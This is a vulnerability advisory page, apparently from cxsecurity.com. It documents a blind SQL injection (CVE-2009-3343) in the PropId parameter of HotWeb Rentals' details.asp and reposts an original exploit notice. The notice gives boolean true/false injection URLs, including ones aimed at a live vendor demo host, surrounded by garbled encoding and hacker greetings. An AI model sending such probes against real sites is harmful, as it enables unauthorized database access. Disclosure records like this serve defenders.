HotWeb Rentals (details.asp PropId) Blind SQL Injection Vuln

2009.09.28
Credit: CL053D
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2009-3343
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

[�¢] �¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢{ØسÙ� ØÙ�Ù�Ù� ØÙ�رØÙ�Ù� ØÙ�رØÙ�Ù�}�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢�¢ [�] [~] Tybe:(details.asp PropId) BL!ND SQL Injection Vulnerability [�] [~] Vendor: www.hotwebscripts.co.uk [�] [�] Software: HotWeb Rentals [�] [�] author: ((Ñ�3d D3v!L)) [�] [�] Date: 15.2.2009 [�] [�] Home: CL053D [�] [�] contact: X@hotmail.co.jp [�]����������������������{DEV!L'5 of SYST3M}������������������ [�] ERR0R CONSOLE WwW.XxX.CcC/details.asp?PropId=(BL!ND EV!L !NJ3c7!0N) [�]SECURE ALERT FR0M 7h3 R3d-D3V!L [�] Exploit: [�] TRU3 : details.asp?PropId=1+and+1=1 [�] FALS3 : details.asp?PropId=1+and+1=2 [�]liv3 3xpL0!T: [�] TRU3 : holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=1 [�] F4L53 :holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=2 [�] N073: R34L R3d-D3V!L WAS h3R3 ((�X@Minhal.co.il�)) 4R48!4N-HACK3R!!ØÙ�Ù�رØصÙ�Ù� ØÙ�Ø¹Ø±Ø [~]-----------------------------{str0ke}----------------------------------------------------- [~] Greetz tO: {str0ke} & XP_10 & رÙ�ت ØÙ�Ù� & ØØÙ� ØÙ�د & B0rN 2 K!LL & JUPA &D3V!L-FUCK3R & ØÙ�زÙ�Ù�رÙ� [~]70 Ù�ALL ARAB!AN HACKER 3X3PT:LAM3RZ [~] spechial thanks : ((dolly)) & ((7am3m)) &MAGOUSH ;) & EMAD & 0R45h3Y [�]spechial SupP0RT: MY M!ND -57R0K3-''M!Lw0RM 3MP3R0R''-''3XPLO!T-houSE'' [�] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --D3V!L R007 [~]spechial FR!ND: 74M3M تÙ�Ù�Ù� [~] !'M 4R48!4N 3XPL0!73R. [~] [~]--------------------------------------------------------------------------------

Referencje:

http://www.milw0rm.com/exploits/9675


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top